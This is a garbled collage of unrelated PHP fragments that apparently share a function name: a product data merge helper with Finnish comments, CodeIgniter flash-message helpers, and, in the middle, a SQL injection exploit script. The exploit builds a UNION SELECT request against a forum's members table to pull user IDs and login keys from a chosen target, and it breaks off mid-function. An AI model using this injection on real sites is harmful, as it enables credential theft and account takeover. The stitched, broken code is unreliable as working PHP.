/** * Funktio yhdistää tuotteeseen Infot ja kuvan url:in. * Huom! Listassa olevilla tuotteilla oltava ominaisuus articleId. * @param $products */ function merge_products_with_optional_data($products) { foreach ($products as $product) { $response = getOptionalData($product->articleId); $product->thumburl = get_thumbnail_url($response[0]); $product->infos = get_infos($response[0]); } }
IN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ $target = "http://site.com/forums/"; // <--- Where ? $prefix = "ibf_"; // <--- SQL prefix ? $id = 1; // <--- Who ? print_r(get_infos($target, $prefix, $id)); if (!get_infos($target, $prefix, $id)) { echo "failed"; } function get_infos($target, $prefix, $id) { $inject = "index.php?s=&act=army&userstat=0+UNION+SELECT+id,member_login_key,"; $inject .= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,"; $inject .= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,NULL,NULL,"; $inject .= "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,"; $inject .= "NULL+FROM+" . $prefix . "members+WHERE+id="; $filename = $target . $inject . $id; $handle = fopen($filename, "r"); $infos = array(); if (feof($handle)) { continue 2; }
function add_info($info) { $CI =& get_instance(); $CI->_data['infos'] = get_infos(); $CI->_data['infos'] .= '<p>' . $info . '</p>'; $CI->session->set_flashdata('validation::infos', $CI->_data['infos']); }
function get_info_string() { $CI =& get_instance(); $infos = get_infos(); if (!empty($infos)) { $info_string = ''; foreach ($infos as $info) { $info_string .= '<p>' . $info . (substr($info, -1) == '.' ? '' : '.') . '</p>'; } return $info_string; } }